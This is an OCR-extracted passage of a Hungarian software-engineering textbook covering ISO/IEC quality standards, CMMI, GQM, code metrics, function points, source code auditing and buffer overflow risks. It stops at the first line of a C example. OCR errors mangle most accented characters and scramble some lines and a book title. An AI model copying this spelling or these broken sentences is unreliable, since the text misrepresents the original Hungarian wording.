ISO/IEC 14598-6: , Ertékelési modulok” dokumentalasi szabalyai.

Egy altalanos értékelési folyamat az ISO/IEC 14598 szabvany szerint [28]:
Ertékelési kovetelmények meghatarozasa

Ertékelés céljanak meghatarozasa
o Cél lehet annak megallapitasa, hogy:
» Egy beszallito koztes terméke beépithetd-e.
= A termék kibocsathato-e.
= Tobb alternativ termék koziil melyik a legmegfelelobb.
= Mikor lehet levaltani egy terméket ijabbra.
» Egy koztes termék atadhatd-e a kovetkezd folyamatnak.

Ertékelendd terméktipus(ok) azonositisa: Azok a koztes termékek, vagy a végtermék,
amik vizsgalat ala keriilnek.

Mindségmodell azonositasa: Ebben a Iépésben torténik a fontos mindségi jellemzok
kivéalasztasa, majd a sziikséges mértékig tovabbi jellemezOkre bontasa. Ehhez jol
hasznalhat6 az ISO/IEC 9126 altal definialt mindségi jellemzdk struktiraja (mindségi
profil készitése).

Ertékelés kidolgozasa

Metrikak kivalasztasa: Az el6z6 1épésben kivalasztott mindségi jellemzok méréséhez
ki kell valasztani a megfeleld metrikdkat (a metrikdkat a fejezet masodik felében
targyaljuk részletesen). Ehhez ad segitséget az ISO/IEC 9126-2,-3,-4 szabvanyok. A
méréseknek konnyen ¢és gazdasdgosan végrehajthatoknak, az eredményeknek jol
értelmezhetoknek kell lenniiik. Célszerti Ojrafelhasznéalhato ,.értékelési modulokat™
késziteni és hasznalni.

Metrikdkra vonatkozé osztalyozasi szintek meghatarozasa: Az elégedettség
mértékének kifejezésére osztalyozasi szinteket kell definidlni. Minimum kettot:
kielégitd, nem kielégit6. Minden metrika esetében meg kell hatarozni az osztalyozasi
szintekhez tartozo értéktartomanyokat.

Mindsitési kritériumok meghatarozdsa: Meg kell hatarozni, hogy a mindségi jellemzdok
¢s aljellemzék milyen mddon keriiljenek Osszevondsra. Az egyes jellemzok altalaban
kiilonboz6 sulyokkal szdmitanak bele a magasabb szintii jellemzdkbe.
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Ertékelés tervezése

o FErtékelési terv elkészitése: Ez a terv tartalmazza az értékelési modszert és az értékelési
tevékenységek iitemtervét. Az értékelési terv felépitését, készitését az ISO/IEC 14598-
2 tartalmazza.

Ertékelés végrehajtasa

e Meérések végrehajtasa: A kivalasztott metrikdkat alkalmazni kell a kivalasztott
termékekre. Ehhez biztositani kell a sziikséges mérési kornyezetet.

o Kiritériumokkal torténd Osszehasonlitds: A metrika értékei Osszevetésre keriilnek az
elvarasokkal, kritériumokkal.

e Eredmények értékelése: Az értékelések Osszesitésre keriilnek. Meghatarozzak, hogy a
szoftver mennyire teljesiti a mindségi kovetelményeket. Az Osszesitett mindség
Osszevetésre keriil mas szempontokkal is, pl.: koltségek, idok. Vezetdi dontés sziiletik
arrol, hogy a termék elfogadhat6 vagy sem.

ISO/IEC 25000 (SQuaRE)

Az ISO/IEC 9126 és az ISO/IEC 14598 gyakorlatban torténd alkalmazasa nem valt nagyon
altalanossa. Redundancidk és eltéré megoldasok vannak a két szabvanycsaladban, amelyek a
kozos hasznalatukat megnehezitik. Tobb metrika pontositasra, aktualizalasra szorul, mivel
azok definialasa az akkori trendeket tiikrozte.

Mar 1999-ben felmeriilt az ISO/IEC 9126 és az ISO/IEC 14598 szabvanycsaladok
Osszehangolasat megoldo 1) szabvanyok kiadasa. Tobb eldkészités utdn 2002-ben jelent meg
az 0j szabvanycsalad els6 tagja, az ISO/IEC 25000 (Software Product Quality Requirements
and Evaluation - SQuaRE), amely tartalmazta azt a struktirat, amelybe a csalad jovdbeli
szabvanyai szervezOodnek.

Az ISO/IEC 25000 6t divizidt hataroz meg, melyeknek a szabvanyait nagyrészt az ISO/IEC
9126 ¢és az ISO/IEC 14598 szabvanyainak feliilvizsgélataval, atstrukturalasaival és
egyesitéseivel készitették el. Ezeket a diviziokat, és azok azonositdit a 31. dbra mutatja be.

Mindségmodell
diviziod
2501n

Mindség-
kovetelmények Minéség-
divizid menedzsment
2503n divizio
Mindségmérés
divizio
2502n

Mindség-
értékelés divizid
2504n

31. abra. ISO/IEC 25000 szabvanycsalad felépitése
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CMMI

Az eddig targyalt mindségi szabvanyok mind termék alaptiak voltak. Ez azt jelenti, hogy
magat a terméket jellemezték, azt definialtdk valamely mindségi jellemzdével. A CMMI ezzel
a megkozelitéssel szakit, és magat a folyamatot veszi célba.

A CMMI-t [29] (Capability Maturity Model Integration) szoftverfejleszté cégek legjobb
gyakorlatai alapjan alakitottak ki. Osszesen 22 folyamatteriiletre fogalmaz meg
kovetelményeket elérendd célok és megvalositandd gyakorlatok formdajaban. Az ajanlas a
szoftverfejlesztd cégek érettség alapjan torténd osztilyozasara 5 érettségi szintet vezet be.
Minden szint esetében meghatarozza, hogy a 22 folyamatteriiletbdl melyeknek, és milyen
jellemzdkkel kell jelen lenniiik a cégnél ahhoz, hogy az adott szintbe sorolhat6 lehessen. Egy
szint teljesitéséhez az Osszes alatta 1évo szint kovetelményeinek teljesitése is sziikséges. Az
elsd érettségi szint semmilyen kdvetelményt sem tartalmaz.

A masodik szint a mérések tekintetében eldirja a ,,Mérés és elemzés” folyamatteriiletet, amely
két sajatos cél teljesitését, valamint ezekhez 4-4 specifikus gyakorlat megvalositasat irja eld.
Ezek a kdvetkezok:

1. Mérési és elemzési tevékenységek kialakitasa:
e Mérési célok meghatarozésa.
e Mérések azonositasa.
e Adatgytijtési és tarolasi eljarasok azonositasa.
e Elemzési eljarasok azonositasa.

2. Meérési eredmények biztositasa:
e M:¢érési adatok gytijtése.
e Me¢érési adatok elemzése.
e Adatok és eredmények tarolasa.
e Eredmények kozlése.

A CMMI kovetelményei a harmadik érettségi szinten féleg a technikai folyamatteriiletekkel
bdéviilnek, amely azzal jar, hogy joval tobb koztes termék mérése valik sziikségessé. A
,Miszaki megoldas” folyamatcsoport kiilon kitér az 01j technoldgiak, illetve a végtermékbe
beépiild COTS (dobozos) termékek értékelésére is. A tagabb értelemben vett méréshez
hozzatartoznak tovabba az atadasra keriilé szoftver vagy rendszer tesztelésére vonatkozé azon
eljarasok, melyeket a ,,Termék integracio”, a ,,Verifikacio” és a ,,Validacio” folyamatteriiletek
irnak eld.

A negyedik érettségi szinten megjelend két folyamatteriilet, a ,,Szervezeti szintli folyamat-
teljesitmény” és a ,,Mennyiségi projektmenedzsment”, egyarant 0j igényeket fogalmaznak
meg a mérésekre. Az elsé a szervezeti folyamatok teljesitmény-szemponti mérésének,
elemzésének ¢€s javitdsanak sziikségességét irja el6. A masodik pedig a historikus mérési
adatbazisok épitését, az adatok statisztikai elemzését, az eltérések megértését és a sziikséges
beavatkozasok megvalositasat teszi sziikségessé.

Az otodik érettségi szinten a ,,Szervezeti szintli innovacid és annak bevezetése”
folyamattertilet ir eld méréseket a lehetséges beruhazasok hatasvizsgalataira.

GOM és MQG paradigmak

A GQM (Goal/Question/Metric) paradigmat Victor Basili egyetemi professzor dolgozta ki.
Eredetileg a projektek soran definialt célok elérésének mérésére tervezték, de késébb
hasznosnak talaltdk szervezeti szintli célok esetében is. A GQM abban nytjt segitséget, hogy
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valoban a sziikséges méréseket hajtsak végre. A mddszer top-down megkozelitést alkalmaz,
melynek 3 {6 1épése van:

e Meg kell hatdrozni a projekt/szervezet f6 céljait.

e Minden egyes célhoz meg kell hatdrozni azokat a kérdéseket, amelyek
megvalaszolasaval kimondhato, hogy az adott cél teljesiil-e vagy sem.

o Meg kell hatarozni azokat a méréseket, amelyekkel megvalaszolhatok a kérdések.

A 1épések kovetkeztében egy, a 32. dbra mintéj ara hasonlo strukttra alakul ki.

32. abra. A GOM paradigma strukturdja

A GQM folyamatok és termékek mérésére egyarant hasznalhat6. A gyakorlat azt mutatta,
hogy joval kisebb az ellenallas olyan mérési programmal szemben, ahol pontosan definialt,
hogy mit miért mérnek. A modszer hasznalatat nagyban eldsegitik a hozza késziilt sablonok,
amelyek konnyen dokumentalhatova és kovethetdvé teszik a 1épéseit. A GQM elvei sok mas
méréssel foglalkozo ajanlasban és szabvanyban is megjelennek, igy a CMMI, az ISO/IEC
15939 ¢és az ISO/IEC 14598 is koveti a célokbol vald kiindulast, és a feliilrél épitkezést.
Egyik jo tovabbfejlesztésének tartjdk a Software Engineering altal kiadott ,,Goal-Driven
Software Institute Measurement — A Guidebook™-ot, amely 1épésrdl 1épésre tanit meg egy
GQM alapokra épiild6 GQ(I)M mddszer elsajatitdsara. A GQM-et olyan kritika érte, hogy
nehéz a célok meghatirozasaval kezdeni abban az esetben, ha nagyon kevés informécio all
rendelkezésre a mérés targyarol, ezért voltak, akik a modszer forditottjat kezdték alkalmazni,
melyet MQG-nek (Metric/Question/Goal) neveznek. Ilyenkor eldszoér konnyen mérhetd
metrikakat hatdroznak meg, ezeket mérésiik soran tovabb finomitjak, és épitik fel a GQM-nél
ismertetett struktarat. A CMMI kovetelmények kapcsan a GQM hatranyanak tekinthetd, hogy
a mérési folyamatnak csak az elsd 1épéseit tartja fontosnak, illetve, hogy nem tér ki a mérések
menedzselési kérdéseire (litemezés, eréforrasok biztositasa, technologiak biztositasa, stb.).

Metrikak

INem kezelheto, ami nem irdanyithato, és nem iranyithato, ami nincs mérve.” (Tom DeMarco)
A szoftver rendszerek elkésziiltével és ,,munkaba allasaval” a karbantartas folyamata veszi
kezdetét. Mindamellett, hogy egy rendszert folyamatosan karbantartunk, fejlesztiink,
sziikségszerll valamilyen formaban mérni azt, hogy a rendszeriink milyen irdnyba valtozott a
fejlesztés, karbantartas hatasara.

Hogy egy rendszer jellemzoéit ,,szdmszerlsiteni” tudjuk, sziikségszeri valamilyen mérési
rendszert kialakitani. Amennyiben ez sikeriil, térekedhetiink arra, hogy ezt a mért értéket
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csokkentsiik vagy ndveljiik, annak fliggvényében, hogy a rendszert tekintve mely érték lenne
kedvezdbb, illetve, hogy a mérték tekintetében melyik optimalis.

Ezek a rendszeriink jellemzdit ,,szamszerlisitd” értékek az ugynevezett metrikak. Szamos
metrikat definidltak mar, ezeket két f6 csoportba lehet sorolni.

A prediktor metrikak a forraskodra vonatkoznak. A kapott érték csak az aktualis forraskod
fliggvénye, ezek eldrejelzik (innen a név), hogy a program futasa kdzben milyen ,,mindségii”
lesz. Tovabba léteznek az ellen6rzé metrikak, melyek a fejlesztés hatékonysagat hivatottak
mérni. Ez utobbit szokas folyamat metrika névvel is illetni, mivel a fejlesztés folyamatat
mérik.

Egy metrika tulajdonképpen nem mas, mint egy jellemz&hoz rendelt mérészam. Altalanosan
elfogadott az a vélemény, hogy a kisebb érték jelenti a ,,jot”, a nagyobb a ,,rosszat”.

Egy metrika meghatarozasa szempontjabol fontos, hogy a metrika érték kiszdmitasa lehetéleg
gyorsan ¢s statikusan elvégezhetd legyen. Tovabba az is, hogy egy metrika ,,univerzalis”
legyen, azaz ne csak teljes rendszerre, hanem csomagra, osztalyra esetleg még metodusra,
figgvényre is kiszamithat6 legyen.

Egy j6 metrika eldsegiti a fejlesztési folyamat javitasat, és alkalmas a folyamat vagy termék
paramétereinek ,,joslasara” is, nem csak azok leirdsara. Egy idedlis metrika az alabbi
tulajdonsagokkal bir:

Egyszert, precizen definialt, tehat teljesen egyértelmii a meghatdrozasa.

Objektiv, amennyire csak lehetséges.

Konnyen kiszamithato.

Ervényes, azaz a metrika képes legyen mérni azt, amit mi mérni szeretnénk vele.
Robusztus, tehat érzéketlen legyen a jelentéktelen valtoztatasokra a folyamatban vagy
a termékben.

Szamos vizsgalat [30] [31] [32] igazolta, hogy van kapcsolat az objektum-orientalt metrikak,
¢s az osztalyokban taldlhato hibak szdma kozott. Ez azt jelenti, hogy a metrikdk folyamatos
mérésével és figyelésével a szoftver mindsége ¢és karbantarthatosaga is novelhetd, illetve a
tesztelés sokkal hatékonyabb4 tehetd.

Prediktor metrikak

A prediktor metrikdk (termék vagy kod metrika néven is ismertek) a forraskodbol
meghatarozhatok. Nem sziikséges a metrikak meghatarozadsdhoz semmilyen plusz informacio,
mindossze a forraskdd ismerete elegendd. Ezek a metrikdk altaldban statikusan
meghatarozhatdéak. A statikus modszerrel meghatdrozhatd metrikdk 4altaldban gyorsan,
viszonylag egyszerlien szamithatok, amelyek egy metrika legfontosabb jellemz6i.

Meéret alapu metrikak

A méret alapt metrikdk alapvetd informacidkat mutatnak meg a rendszeriinkrél. Rengeteg
elem szerepel a rendszeriink kodjaban, amelyeket meg lehet szamolni. Programozasi nyelvtol
fiiggden példaul osztalyok, csomagok, névterek, fliggvények, metddusok, attributumok, stb.

Az ilyen elemek szamontartdsaval hasznos informacidkat kaphatunk a rendszeriinkrél. Egy
masik oOridsi eldny, hogy ezeket a szamitasokat gyorsan, rugalmasan el lehet végezni. J6 példa
egy méret alapi metrikara a jol ismert LOC (Lines Of Code) érték, amely a rendszerlink
kodsorainak a szamat adja meg. Ezt konnyli kiszamolni, és értékes informaciot nyujt a
szoftverr6l. Egy masik ilyen hasznos méret alapti metrika az NCL (Number of Classes),
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amely a kodban 1évd osztalyok szdmat adja meg. A fiiggelékben felsoroljuk az altalanosan
elfogadott méret alapu metrikakat, természetesen a teljesség igénye nélkiil.

Oriklédési metrikak

A méret alapi metrikdk fontos informdacioval latnak el a rendszeriinket tekintve, viszont csak
ezt az egy mindségi jellemzot ellendrizve nem kaphatunk pontos képet arrol. Mas szempontok
alapjan, mas megkozelitéssel is méréseket kell végezniink. Bill Gates a kdvetkezoképpen
fogalmazta ezt meg:

"Measuring software productivity by lines of code is like measuring progress on an

airplane by how much it weighs."
A rendszeriink mérésének egy mas iranybdl valdé megkozelitésére késziiltek az 6roklodési
metrikdk. Az Oroklédési metrikdk a rendszerlink 6roklédési fajarél adnak informaciot.
Mindazonaltal az 6roklodési fa nem allithatd elé csupan a metrika értékekbdl, az 6roklodési
metrikdk csupan leirjdk a fa karakterisztikait, ami elég ahhoz, hogy értékeljiik az 6roklddési
szerkezetet komplexitas szempontjabol. Példaul, ha az 6roklodési fa mélysége tal nagy, akkor
az azt jelenti, hogy a rendszeriink nehezen tarthaté fenn, és nehezen érthetd meg. Az
oroklodési metrikak felsorolasa a fiiggelékben szerepel.

Csatolasi metrikak

A tal erds csatolas, kapcsolat a rendszer elemei kozott gyengiti az  egységbe zarast, €s
meggatolhatja az osztalyok ujrafelhasznalast. Egy példa a csatoldsi metrikdira a CBO
(Coupling Between Object Classes), amely az objektumok kozotti kapcsolatok szaméat adja
meg: azaz megadja azon osztalyok szadmat, amelyek kapcsolatban allnak (metddushivason,
adattag elérésen, oroklodésen, stb. keresztiil) az osztdlyunkkal. A magas CBO érték azt
jelenti, hogy az osztaly tesztelése nehezebb lesz (mivel tobb elem hasznalja, ezért modositas
esetén mindet tesztelni kell). Ezen tipusu metrikak felsorolésa is a fliggelékben szerepel.

Kohézios metrikak

Az osztalyon beliili metddusok kohézidja eldsegiti az egységbezarast. A kohézié hidnya arra
utal, hogy az osztaly szétbonthatd kettd vagy tobb osztalyra annak érdekében, hogy az
egységbezards megmaradjon. Mivel a metrikdk kialakitasa sordn torekedtek arra, hogy
egységesen a kis érték jelentse a ,,jot”, a nagy a ,,rosszat”, ezért nem a kohéziot értékeljiik egy
osztalyra (mert a magas kohézi6 ,,j6”’), hanem a kohézidé hianyat mérjiik. Tobb metrika létezik
a kohézié hianyanak meghatarozasara. Mindegyik az osztaly kohézidképességérol ad képet,
az osztalyon beliilli metédusok kapcsolatainak elemzésével (kozos adattagot, funkciot
hasznal6é metodusparok szamabol). A kohézids metrikék a fiiggelékben szerepelnek.

Komplexitas metrikak

A komplexitas mértéke fontos szempont a szoftverfejlesztés soran. A magas komplexitds azt
jelzi, hogy a rendszert nehezebben tudjuk tesztelni, megérteni €s fenntartani. Ennek az oka,
hogy az Osszetett elemeket nehezebb atlatni, ezért a modositas tobb i1d6t vesz igénybe,
tovabba a komplex teriiletek sok tesztesetet igényelnek, mivel a komplexitas korreldl a
lehetséges futdsok szamaval. Egy ilyen komplexitast méréd metrika a McCabe-féle
ciklomatikus komplexitas [33], amely a metéduson beliili lehetséges futdsok szamat adja meg.
Ez az érték megegyezik a minimalisan sziikséges tesztesetek szamaval, amennyiben minden
lehetséges futasi agat tesztelni szeretnénk.
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Ellenorzo metrikak

Az eddigi metrikdk mind a forraskod karakterisztikdit jellemezték, és abbol nyertek ki
informaciokat. Ez a rendszer pillanatnyi allapotat tiikkrozheti, de egy folyamat mérése mas
metrikdk bevezetését koveteli meg. Az ellendrzé metrika (masik elterjedt neve a folyamat
metrika) a fejlesztés hatékonysagat méri, ebbdl adéddéan nem lehet a forraskéd a metrika
szamitasanak az alapja (legalabbis csak az nem elegendd). Egy folyamat mérését nem lehet
csak a szoftverrendszer fejlesztési folyamatara definidlni. A fejlesztés folyamata olyan
altaldnos a termelés barmely teriiletén, hogy nem lehet csak egy adott teriiletre definidlni
annak mérését.. Ez a szoftverfejlesztés folyamata szempontjabol azért elonyos, mert igy a mar
korabban mas teriileteken definilt fejlesztési folyamat mérésére kialakitott modszereket itt is
felhasznalhatjuk kisebb modositasokkal.

Egy ilyen, alapvetd folyamatot mérd metrika a Function Point (funkci6 pont).

Function Point

A funkciopont olyan mérészam, amely kifejezi egy informacids rendszer altal a
felhasznalonak nyujtott tizleti funkcionalitds mennyiségét. Ezt a metrikat Allan Albrecht
definialta 1979-ben [34]. Ez a metrika egy projektiranyitast segito ,,elem”, de inkabb technika.
A funkciopont meghatdrozdsnak célja az informatikai, szdmitogép alapii rendszerek
nagysaganak, méretének megbecslése, lehetdvé téve az informatikai részlegek illetve a
projektek iranyitasaért felelos személyeknek, hogy ugy tudjak méretezni a feladatokat, mint a
hagyomanyosabb, korabban kifejlodott mérnoki tudomanyoknal. Eredeti célja az volt, hogy
kiilonbozé technologiakkal torténd szoftverfejlesztések hatékonysagat 0Ossze lehessen
hasonlitani.

A funkci6 pont konkrét meghatarozasahoz kicsit alaposabban szemiigyre kell venniink a
fejlesztési folyamat menetét.

A hagyomanyos gyartasi folyamatokban a kovetkezd mérdszamokat hasznaljak:

Egy termékre juto koltség: Osszes koltség / eldallitott| Termelékenység

termékek szama

Kibocsatott mennyiség hetente: | Eldallitott termékek szama |Kibocsatas

/ 1d6 raforditas

Hiba szazalék: Hibas termékek szdma / Mindségi jellemzd

eloallitott termékek szdma

A funkcidopont elemzés soran az informdacios rendszert két nagy alkotorészre bontjuk,
nevezetesen az informacid feldolgozo rész és a miiszaki megvaldsitas. Az informacid
feldolgoz6 rész foglalkozik a rendszer bemend ¢és kimend adataival, illetve ezek
feldolgozasadval ¢és atalakitdsaval. A miiszaki megvalositds az informaciofeldolgozasi
tevékenységhez sziikséges miiszaki korlatokkal és peremfeltételekkel foglalkozik.

Példaul egy rendszer havi jelentést készit a kinnlevéségekrdl. Ebben az esetben az informécid
feldolgozo rész foglalkozik a havi jelentés Osszedllitasaval, ennek miiszaki megvaldsitasa
lehet kotegelt feldolgozas vagy interaktiv (on-line), vagy akdr nagyon gyors valaszidére
felkészitett rendszer.
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Az TFPUG (International Function Point Users Group) egy olyan szervezet, amely a
funkciopont elemzések mérésére szakosodott. Az altaluk hasznalt FSM (Functional Size
Measurement) funkcidpont méré metéodus az ISO/IEC 20926 szabvany altal definidlt. Az
FSM, valamint az Mk II (Mark II method - ISO/IEC 20968 altal definialt) funkciopont mérd
metddus az [SO altal jelenleg elismert 6t mérési modszer részét képezik.

A rendszer méretének kiszamitasa:

Egy informaciés rendszer méretét funkcidpont index forméjaban a kdvetkez6 modon lehet
megallapitani: a rendszer 6sszes logikai tranzakciojara ossze kell szdmolni a bemend, kimend
adatokat ¢s a feldolgozas soran érintett entitasokat (adatcsoportokat). Ezutdn még két 1épés
van: az elsd egy teljesen matematikai 1épés, amely soran a korrigalatlan funkciépontok
keriilnek kiszdmitasra, a mésodik 1épésben pedig a miiszaki bonyolultsagnak megfelelden
korrigaljak az eredményt, figyelembe véve a technologiai tényezdket.

A korrigalatlan funkcidopont kiszdmitasa egyszerii, ha minden logikai tranzakciora vonatkozd
alapadat rendelkezésre all. A bemenetek, kimenetek és az érintett entitdsok szamat egy
alkalmas sullyal meg kell szorozni, majd ezeket dssze kell adni.

A sulyok:

e Bemenet sulya: 0,58
e Informdcio feldolgozas sulya: 1,66
e Kimenet stlya: 0,26

A korrigélatlan funkciopont kiszdmitasanak a képlete:
UFP = Ni x Wi+ Ne x We+ No x Wo

Ahol:

Ni: Bemeneti tipusu mezok szdma.

Wi: Bemenet sulya.

Ne: Az entitasok szama.

We: Informacio feldolgozas stlya (entitasok).

No: Kimeneti tipusi mezok szama.

Wo: Kimenet stlya.

Ezutan a korrigalatlan funkciopontot megszorozzdk egy miszaki bonyolultsagi tényezdvel
(TCA, Technical Complexity Adjustment). Ez 19 egyéb tényezdobdl all 6ssze, amelyet egy
otfoku skalan értékelnek, majd ebbdl alakitanak ki egy dsszevont, aggregalt értéket.

A miuszaki bonyolultsagi tényez6 (TCA) képlete:

TCA = Bemeneti adatelemek x siily + Erintett entitdsok x sily + Kimeneti adatelemek x siily +...
Végiil a funkciopont indexet (FPI) tgy kapjuk, hogy a rendszer informacié feldolgozo
részének méretére vonatkozd korrigalatlan funkcidpont értéket megszorozzuk a technolégiai,
miuszaki bonyolultsagi faktorral, mely képlete a kdvetkez6: FPI= UFP x TCA
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A forraskdd auditdlas célja, hogy a lehetd legtobb hibat, hibalehetdséget, ,,veszélyes”
kodrészeket feltarja a fejlesztoknek, hogy ezeket a hibadkat még a fejlesztés ideje alatt javitani
lehessen. Az auditalas torténhet manualisan (pl. code review), vagy automatizalhatd elemzd
eszk6zok segitségével, amelyek statikusan a forraskodot elemzik, a szoftver futtatasa nélkiil,
vagy dinamikusan, a futds kdzben keresik a hibakat.

Statikus forraskod elemzés

A statikus elemzés, soran a kodot futtatds nélkiil elemezziik. Az elemzés célja a lehetséges
hibdk minél nagyobb részének feltdrasa minél hamarabb, lehetéleg még a fejlesztés fazisaban.
Szamos technika 1étezik statikus elemzésre, de az elemzés folyamata mindig fiigg a keresendd
hibak fajtajatol.

Altalaban a kovetkezd hibakat keressiik:

Szintaktikai hibak.

Kodolasi szabvanytol valo eltérések.

Elérhetetlen kod.

Nem inicializalt / nem hasznalt valtozok.

Hordozhatosagi problémak.

A modszer kivalasztasa altaldban a kitlizott céltol fiigg. Lassuk az altalanosan elfogadott és
kozismert megkozelitéseket:

Modell ellenorzes

A modell ellenérzés egy automatikus technika véges allapotu rendszerek pontossaganak
verifikalasdra. Ez a folyamat felhasznalja a rendszer modelljét és Osszeveti azt a rendszer
Hardver ¢és szoftver verifikalasara is hasznaljdk, bar ez utébbit nem tudjak nagy pontossaggal
megadni, mivel a szoftver ilyen szintli verifikacidja eldonthetetlen probléma. Temporalis
logikai formulakkal dolgozik az algoritmus, amelyet Emerson és tarsai fejlesztettek ki [35].

Adatfolyam elemzés

A data-flow analizis segitségével a forraskdd elemek adatfiiggéségeit vizsgaljuk [36]. A
folyamat altalaban a rendszer CFG (Control Flow Graph, Vezér Folyam Graf) vagy DFG
CFG a lehetséges futasokat irja le (a McCabe-féle ciklomatikus komplexitas korrelal a CFG-
ben a lehetséges fiiggetlen utak szamaval). A CFG egy csucsa, egy (vagy tobb) programbeli
utasitas a csucsok kozotti irdnyitott élek pedig a vezérlési fiiggdségek (A cstucsbol akkor vezet
¢l B cstucsba, ha B futdsa fligg A-nak a lefutdsatol). A DFG ezzel szemben a program
adatfolyamanak leirasaért felel. A DFG egy iranyitott graf, ami az adatfiiggdségeket mutatja
meg a programelemek kozott. A csucsok hasonldan a program utasitdsai, B és A cstcs kdzott
pedig, akkor van adatfiiggdségi kapcsolat, ha B felhaszndl olyan adatot (valtozoérték,
regiszter- vagy memoriatartalom), amit A-ban definidltunk. A CFG és DFG segitségével
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mélyebb kodelemzést tudunk elvégezni, és lehetdségiink van nehezebben detektalhatd hibakra
is rAmutatni (pl. puffer talcsordulasi hibak) [37].

Auditalas

Barmely programozasi nyelven is fejlesztiink, mindig vannak kévetendd gyakorlatok, amik a
hibamentes, gyors, karbantarthatd ¢&s biztonsagos kod irasahoz adnak utmutatast. E
gyakorlatok betartdsanak vizsgalatdval komoly programozasi hibdkra is fényt deriilhet,
amelyeket a fejlesztok figyelmetlenségbdl kovetnek el. A szabalysértés ellendrzés 1ényegében
egy automatikus, hibamentes valtozata az emberi koédellendrzésnek, amely igy
koltséghatékony, pontosabb és sokkal gyorsabb alternativat kinal.

A szabalysértések ellendrzése:

e A szabdlysértések pontosan meghatirozott kddrészletek, melyek valamilyen kddolasi
szabalyt szegnek meg.

e A szabalysértések megsziintetése altalaban konnyt és kevés koltséggel jar.

e A szabalysértések megsziintetése jelentésen noveli a kod mindségét.

Szamos pont van a fejlesztési folyamat soran, ahol a kodolési szabalyok ellendrzését el lehet
végezni. Egy egyszerii szabaly, amit ki kell emelni: a kdédolasi szabalysértések (hibak)
javitasanak koltsége az id6 mulasaval egyre nd. A kod ellendrzése a kddolési szabalysértések
szempontjabol az életciklus kovetkezd pontjain javasolt:

o A fejlesztéi fazis: a kod ellendrzése a verzidkovetd rendszerbe torténd visszatoltés
elétt. Ez a legkorabbi pont, ahol a szabélysértések felfedezhetdk és megsziintethetdk.

e Kozponti kddellendrzés: az ellendrizendd kod mar része a kdzponti kodalloméanynak.
Altalaban az ilyen elemzés a rendszeres forditds folyamataba van integralva, de
sziikség szerint barmikor elvégezhetd.

A komoly szabalysértések felfedezése és javitasa késébb (a tesztelési fazisban vagy a kiadas
utan) sokkal koltségesebb. A kod ellendrzésének, a koltségeket szem eldtt tartva, a tesztelés
elott célszerti lezajlania.
A statikus kddelemzés soran a kddolédsi szabalysértések mellett mas jellemzoket is lehet
ellenérizni és mérni, pl.:

e QGyanus kodrészletek.

e Kod duplikaciok.
Az auditalas nem minden hiba detektalasara alkalmas, mivel statikusan elemez, ezért nehéz
pontos informaciokat adni futas nélkiil példaul arra, hogy egy valtozoban milyen értékek
szerepelnek, szerepelhetnek. Azonban mégis egy nagyon hasznos és koltségkiméld eszkoz,
mivel a statikus elemzést minden esetben automatizalni lehet, igy a hibak feltarasa
automatikusan torténhet még a fejlesztés sordn is. Ezt alkalmazva az éles rendszer kevesebb
hibat tartalmaz, amellyel a karbantartas koltsége csokken.
Az auditalas semmiképpen sem helyettesitheti a dinamikus tesztelést, viszont segit a hibak
szamanak leredukalasaban még a tesztelés megkezdése elott.

Dinamikus forraskod elemzés
A statikus kodelemzés mellett 1étezik dinamikus elemzés is. Ekkor nem el6re, futas nélkil

prébaljuk meghatarozni a kod hibait, hanem futas kdzben gyijtiink informacidkat arrél, hogy
a rendszeriink milyen allapotokba keriilt illetve keriilhet. Ezzel a megkdzelitéssel mas tipusu
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hibakat is képesek vagyunk meghatarozni. (Példaul lehetséges memory leak, null pointer
exception, stb.) Ezeken feliil alkalmas arra, hogy a programunkat optimalizaljuk, példaul
megnézhetjiik a segitségével, hogy a program mely fiiggvényekben tolt sok id6t, igy azokat
atdolgozva gyorsabb lehet a program futasa.

A dinamikus detektalas két moédon torténhet. Az egyik megoldas, amikor a rendszeriink futdsa
kozben figyeli az elemz6 program, azokat a helyeket, amikor is a program hibdsan mitkddhet.
Ilyen modszerrel lehetséges pl. null pointer exception vagy memory leak detektalasa. A masik
modszer, amikor a program futdsa kozben adatokat gytjtiink, amit késdbb, a futds utan
tanulmanyozunk. A futas kozbeni informacidgytijtést hivjak profile-ozasnak. A futds kdzben
eldalld naplofijlok (trace file-ok), gyakran a hivott eljarasokat, futtatott utasitasokat és azok
futasi idejét, esetleg stack vagy heap informaciét tartalmazzak. A profile-ozasnak tobb
modszere van. Interpretalt nyelveknél vagy pl. Java alkalmazasokndl elterjedt, hogy maga a
futtaté kornyezet (Java esetén a virtualis gép) késziti a naplofajlokat vagy tamogatja API-val a
profile-ozast. Egyes eszk6zok (pl. GCC) forditasi idében illesztenek be utasitasokat a végsd
alkalmazasba, amelyek segitségével a profile adatok kinyerhetok. Tovabba lehetdségiink van
eleve a forraskodot is ,,instrumentalni”, azaz olyan utasitdsokat elhelyezni pl. metddushivasok
elején és végén, amelyekkel trace informaciokat irunk ki egy naplofajlba.

Sebezhetoség

A detektalhatd sebezhetOségi hibdkat veszélyességi szint alapjan két csoportba Ilehet
szervezni. Az alacsony kockazatu és a magas kockazati hibalehetdségek. Szamos nyelv
magaban foglal olyan megvalositasokat, amelyek nyelvi szinten gatoljadk meg az ilyen hibak
véletlen létrehozéasanak lehetdségét. Azonban bizonyos nyelvek f6 erdssége éppen abban
rejlik, hogy semmiben sem gatoljak meg a fejlesztoket. Altalaban ezeket a hibakat nem csak a
programunk egy belsé veszélyeként tekintjiikk, hanem e hibdk jelenléte a programunk
sebezhetdségére is utal.

Magas kockazatu sebezhetéségek

A magas kockazatu sebezhetdségek (high-risk vulnerabilities), olyan elvi hibdk, amelyek a
program végzetes leallasat vagy illetéktelenek szamara hozzaférést okozhatnak. Ilyen hiba
példaul a buffer overflow [37]. Ez a hiba a puffer tilcsordulasanak lehetdségét ,,hasznalja ki”,
pontosabban az ellendrzésnek a hidnyat. Szamos nyelv (C, C++, stb.) nem ellendrzi a
masoland6 adat hosszat, se a forrasat, igy konnyen eléfordulhat, hogy egy felhasznalo altal
bekért adat (melynek hosszardl fogalmunk sincs) egy strcpy() masolo utasitas, vagy akar egy
scanf() beolvaso utasitas hatasara bekeriil a memoridba mindenféle hossz ellendrzés nélkiil,
amely jo esetben nem okoz hibat. Rossz esetben azt eredményezi, hogy a beirt plusz adat
feliilir valamilyen valtoz6t a memoriaban, melynek belathatatlan kovetkezményei lehetnek.
Legrosszabb esetben pedig valaki észreveszi ezt a hibat, és kihasznalja, mégpedig ugy, hogy
szamara ,,hasznos” utasitdsokat vagy adatokat ir a memoriaba, amelyre, még ha a vezérlés is
rakeriil, teljes iranyitast élvezhet a programunk felett.

Egy C-beli példa:

char jelszol[7];

